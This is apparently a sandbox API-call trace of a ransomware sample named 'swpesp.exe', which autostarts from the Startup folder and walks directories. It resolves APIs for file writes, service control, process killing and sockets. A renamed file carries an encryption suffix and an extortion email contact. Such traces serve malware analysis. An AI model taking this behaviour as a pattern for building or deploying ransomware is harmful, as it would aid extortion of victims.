	[0258.296] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0258.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0258.297] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.297] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="CALEND~1.GAD")) returned 1
	[0258.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2090
	[0258.298] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.298] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x27ed4187, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0258.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0258.299] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.299] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1
	[0258.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0258.299] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.299] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1
	[0258.299] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0258.299] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0258.299] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1
	[0258.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0258.300] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.300] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1
	[0258.300] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0258.301] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0258.301] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0258.301] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0258.303] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0258.303] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x28135767, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0258.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0258.305] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.305] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1
	[0275.879] FindNextFileW (in: hFindFile=0x41b2750, lpFindFileData=0x374e428 | out: lpFindFileData=0x374e428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x90486ad0, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x904acc30, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.879] FindNextFileW (in: hFindFile=0x41b2750, lpFindFileData=0x374e428 | out: lpFindFileData=0x374e428*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9043a810, ftCreationTime.dwHighDateTime=0x1d542e6, ftLastAccessTime.dwLowDateTime=0x9043a810, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x90486ad0, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x1358, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO.id-9C354B42.[panama777@tutanota].Acuf2", cAlternateFileName="FOLDER~1.ACU")) returned 1

Thread:
	id = 109
	os_tid = 0x6b4


Thread:
	id = 110
	os_tid = 0x6c0


Thread:
	id = 111
	os_tid = 0x6c8


Process:
	id = "10"
	image_name = "swpesp.exe"
	filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\swpesp.exe"
	page_root = "0x7684f000"
	os_pid = "0x4e0"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe\" "
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e17d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 83
	os_tid = 0x4e4

	[0242.405] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x755c0000
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="GetProcAddress") returned 0x755d1222
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="GetModuleHandleW") returned 0x755d34b0
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="FindNextFileW") returned 0x755d54ee
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="FindClose") returned 0x755d4442
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="MoveFileW") returned 0x755e9af0
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="GetFileSizeEx") returned 0x755d59e2
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="GetModuleFileNameW") returned 0x755d4950
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="GetFileAttributesW") returned 0x755d1b18
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="ExitProcess") returned 0x755d7a10
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="GetCommandLineW") returned 0x755d5223
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="GetComputerNameW") returned 0x755ddd0e
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="GetComputerNameA") returned 0x755eb6e0
	[0242.405] GetProcAddress (hModule=0x755c0000, lpProcName="CreateMutexW") returned 0x755d424c
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="lstrlenW") returned 0x755d1700
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="lstrlenA") returned 0x755d5a4b
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="GetCurrentProcess") returned 0x755d1809
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="WaitForSingleObject") returned 0x755d1136
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="GetLogicalDrives") returned 0x755d5371
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="GetTickCount") returned 0x755d110c
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="DeleteFileW") returned 0x755d89b3
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="WideCharToMultiByte") returned 0x755d170d
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x755d1916
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="Sleep") returned 0x755d10ff
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="LeaveCriticalSection") returned 0x779f2270
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="ReadFile") returned 0x755d3ed3
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="CreateFileW") returned 0x755d3f5c
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="OpenMutexW") returned 0x755d5151
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="EnterCriticalSection") returned 0x779f22b0
	[0242.406] GetProcAddress (hModule=0x755c0000, lpProcName="WaitForMultipleObjects") returned 0x755d4220
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="lstrcmpiW") returned 0x755ed5cd
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="lstrcmpiA") returned 0x755d3e8e
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="DeleteCriticalSection") returned 0x77a045f5
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="ReleaseMutex") returned 0x755d111e
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="CloseHandle") returned 0x755d1410
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="GetVersion") returned 0x755d4467
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="CreateThread") returned 0x755d34d5
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="ExpandEnvironmentStringsW") returned 0x755d4173
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="QueryPerformanceCounter") returned 0x755d1725
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="QueryPerformanceFrequency") returned 0x755d41f0
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="GetCurrentProcessId") returned 0x755d11f8
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="SetFileAttributesW") returned 0x755ed4f7
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="GetVolumeInformationW") returned 0x755ec860
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="WriteFile") returned 0x755d1282
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="SetFilePointerEx") returned 0x755ec807
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="SetEndOfFile") returned 0x755ece2e
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="FindFirstFileW") returned 0x755d4435
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="GetProcessHeap") returned 0x755d14e9
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="HeapReAlloc") returned 0x77a11f6e
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="HeapAlloc") returned 0x779fe026
	[0242.407] GetProcAddress (hModule=0x755c0000, lpProcName="HeapFree") returned 0x755d14c9
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="CreatePipe") returned 0x7565415b
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="SetHandleInformation") returned 0x755e195c
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="CreateProcessW") returned 0x755d103d
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="CompareStringW") returned 0x755d3bca
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="CompareStringA") returned 0x755d3c5a
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="OpenProcess") returned 0x755d1986
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="TerminateProcess") returned 0x755ed802
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="GetSystemTime") returned 0x755d5a96
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="SystemTimeToFileTime") returned 0x755d5a7e
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="GetLastError") returned 0x755d11c0
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="CreateToolhelp32Snapshot") returned 0x755f735f
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="Process32NextW") returned 0x755f896c
	[0242.408] GetProcAddress (hModule=0x755c0000, lpProcName="Process32FirstW") returned 0x755f8baf
	[0242.408] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75980000
	[0242.414] GetProcAddress (hModule=0x75980000, lpProcName="RegOpenKeyExW") returned 0x7599468d
	[0242.414] GetProcAddress (hModule=0x75980000, lpProcName="RegQueryValueExW") returned 0x759946ad
	[0242.414] GetProcAddress (hModule=0x75980000, lpProcName="RegSetValueExW") returned 0x759914d6
	[0242.414] GetProcAddress (hModule=0x75980000, lpProcName="RegCloseKey") returned 0x7599469d
	[0242.414] GetProcAddress (hModule=0x75980000, lpProcName="OpenProcessToken") returned 0x75994304
	[0242.414] GetProcAddress (hModule=0x75980000, lpProcName="GetTokenInformation") returned 0x7599431c
	[0242.414] GetProcAddress (hModule=0x75980000, lpProcName="OpenSCManagerW") returned 0x7598ca64
	[0242.414] GetProcAddress (hModule=0x75980000, lpProcName="OpenServiceW") returned 0x7598ca4c
	[0242.414] GetProcAddress (hModule=0x75980000, lpProcName="CloseServiceHandle") returned 0x7599369c
	[0242.415] GetProcAddress (hModule=0x75980000, lpProcName="ControlService") returned 0x759a7144
	[0242.415] GetProcAddress (hModule=0x75980000, lpProcName="QueryServiceStatus") returned 0x75992a86
	[0242.415] GetProcAddress (hModule=0x75980000, lpProcName="EnumDependentServicesW") returned 0x75981e3a
	[0242.415] GetProcAddress (hModule=0x75980000, lpProcName="EnumServicesStatusExW") returned 0x7598b466
	[0242.415] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75a20000
	[0242.423] GetProcAddress (hModule=0x75a20000, lpProcName="SystemParametersInfoW") returned 0x75a390d3
	[0242.423] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75e20000
	[0242.426] GetProcAddress (hModule=0x75e20000, lpProcName="ShellExecuteExW") returned 0x75e41e46
	[0242.426] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x779d0000
	[0242.426] GetProcAddress (hModule=0x779d0000, lpProcName="NtQuerySystemInformation") returned 0x779efda0
	[0242.426] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x754f0000
	[0242.983] GetProcAddress (hModule=0x754f0000, lpProcName="WNetCloseEnum") returned 0x754f2dd6
	[0242.983] GetProcAddress (hModule=0x754f0000, lpProcName="WNetOpenEnumW") returned 0x754f2f06
	[0242.983] GetProcAddress (hModule=0x754f0000, lpProcName="WNetEnumResourceW") returned 0x754f3058
	[0242.983] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77270000
	[0242.984] GetProcAddress (hModule=0x77270000, lpProcName="WSAStartup") returned 0x77273ab2
	[0242.984] GetProcAddress (hModule=0x77270000, lpProcName="socket") returned 0x77273eb8
	[0242.984] GetProcAddress (hModule=0x77270000, lpProcName="send") returned 0x77276f01
	[0242.984] GetProcAddress (hModule=0x77270000, lpProcName="recv") returned 0x77276b0e
	[0242.984] GetProcAddress (hModule=0x77270000, lpProcName="connect") returned 0x77276bdd
	[0242.985] GetProcAddress (hModule=0x77270000, lpProcName="closesocket") returned 0x77273918
	[0242.985] GetProcAddress (hModule=0x77270000, lpProcName="gethostbyname") returned 0x77287673
	[0242.985] GetProcAddress (hModule=0x77270000, lpProcName="inet_addr") returned 0x7727311b
	[0242.985] GetProcAddress (hModule=0x77270000, lpProcName="ntohl") returned 0x77272d57
	[0242.985] GetProcAddress (hModule=0x77270000, lpProcName="htonl") returned 0x77272d57
	[0242.985] GetProcAddress (hModule=0x77270000, lpProcName="htons") returned 0x77272d8b
	[0242.985] GetProcessHeap () returned 0x4b0000
	[0242.985] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20) returned 0x4c4210
	[0242.985] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=7090698981) returned 1
	[0242.985] GetTickCount () returned 0x6c1a
	[0242.985] GetCurrentProcessId () returned 0x4e0
	[0242.985] GetTickCount () returned 0x6c1a
	[0242.985] GetTickCount () returned 0x6c1a
	[0242.985] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20) returned 0x4c4238
	[0242.986] GetVersion () returned 0x1db10106
	[0242.986] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x7) returned 0x4b3820
	[0242.986] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c0d40
	[0242.986] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c0d40, Size=0x20) returned 0x4c4288
	[0242.986] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4288, Size=0x40) returned 0x4c4820
	[0242.986] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4c4a98
	[0242.986] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KKXAGQA") returned 0x84
	[0242.986] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4b3820 | out: hHeap=0x4b0000) returned 1
	[0242.986] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0242.986] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4820 | out: hHeap=0x4b0000) returned 1
	[0242.986] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x7) returned 0x4b3820
	[0242.986] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c0d40
	[0242.986] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c0d40, Size=0x20) returned 0x4c4288
	[0242.986] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4288, Size=0x40) returned 0x4c4820
